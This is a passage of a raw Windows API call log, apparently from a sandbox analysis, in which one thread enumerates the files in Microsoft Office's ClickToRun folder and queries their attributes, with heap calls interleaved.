ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0117.798] GetCurrentThreadId () returned 0x9b0 [0117.798] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0117.798] GetCurrentThreadId () returned 0x9b0 [0117.798] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0117.798] GetCurrentThreadId () returned 0x9b0 [0117.798] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1290, Size=0x120) returned 0x2c374c0 [0117.798] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0117.798] GetCurrentThreadId () returned 0x9b0 [0117.799] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0117.799] GetCurrentThreadId () returned 0x9b0 [0117.799] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0117.799] GetCurrentThreadId () returned 0x9b0 [0117.799] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0117.799] GetCurrentThreadId () returned 0x9b0 [0117.799] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0117.799] GetCurrentThreadId () returned 0x9b0 [0117.799] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0117.799] GetCurrentThreadId () returned 0x9b0 [0117.799] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0117.800] GetCurrentThreadId () returned 0x9b0 [0117.800] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0117.800] GetCurrentThreadId () returned 0x9b0 [0117.800] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0117.800] GetCurrentThreadId () returned 0x9b0 [0117.800] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0117.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0117.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0117.801] GetCurrentThreadId () returned 0x9b0 [0117.801] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0117.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0117.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0117.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0117.802] GetCurrentThreadId () returned 0x9b0 [0117.802] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0117.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0117.803] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0117.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0117.803] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881150, Size=0x20) returned 0x33ea3b8 [0117.803] GetCurrentThreadId () returned 0x9b0 [0117.803] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0117.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0117.804] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0117.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0117.804] GetCurrentThreadId () returned 0x9b0 [0117.805] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0117.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0117.805] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0117.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0117.805] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea3b8, Size=0x40) returned 0x3887770 [0117.805] GetCurrentThreadId () returned 0x9b0 [0117.805] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0117.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0117.807] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0117.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0117.808] GetCurrentThreadId () returned 0x9b0 [0117.808] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0117.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0117.808] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0117.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0117.808] GetCurrentThreadId () returned 0x9b0 [0117.809] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0117.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0117.809] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0117.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0117.810] GetCurrentThreadId () returned 0x9b0 [0117.810] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0117.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0117.810] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0117.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0117.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887770, Size=0x64) returned 0x2a197a8 [0117.810] GetCurrentThreadId () returned 0x9b0 [0117.811] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0117.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0117.811] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0117.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0117.812] GetCurrentThreadId () returned 0x9b0 [0117.812] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0117.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0117.812] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0117.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0117.813] GetCurrentThreadId () returned 0x9b0 [0117.813] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0117.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0117.813] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0117.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0117.813] GetCurrentThreadId () returned 0x9b0 [0117.814] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0117.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0117.814] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0117.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0117.814] GetCurrentThreadId () returned 0x9b0 [0117.814] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0117.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0117.815] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0580 [0117.815] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0117.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0117.815] GetCurrentThreadId () returned 0x9b0 [0117.815] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0117.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0117.815] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0117.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0117.816] GetCurrentThreadId () returned 0x9b0 [0117.816] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0117.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0117.816] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0117.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0117.816] GetCurrentThreadId () returned 0x9b0 [0117.817] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0117.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0117.817] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0117.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0117.817] GetCurrentThreadId () returned 0x9b0 [0117.817] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0117.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0117.818] GetCurrentThreadId () returned 0x9b0 [0117.818] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0117.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0117.818] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0117.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0117.818] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x325f8f0 [0117.818] GetCurrentThreadId () returned 0x9b0 [0117.819] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0117.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0117.819] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0117.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0117.819] GetCurrentThreadId () returned 0x9b0 [0117.819] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0117.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0117.820] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0117.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0117.820] GetCurrentThreadId () returned 0x9b0 [0117.820] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0117.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0117.821] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0117.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0117.821] GetCurrentThreadId () returned 0x9b0 [0117.821] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0117.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0117.822] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0117.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0117.822] GetCurrentThreadId () returned 0x9b0 [0117.822] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0117.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0117.823] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0117.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0117.823] GetCurrentThreadId () returned 0x9b0 [0117.823] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0117.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0117.824] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f8f0, Size=0xe8) returned 0x33d1470 [0117.824] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0117.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2250 | out: hHeap=0x2ad0000) returned 1 [0117.824] GetCurrentThreadId () returned 0x9b0 [0117.824] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0117.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0117.825] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0117.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 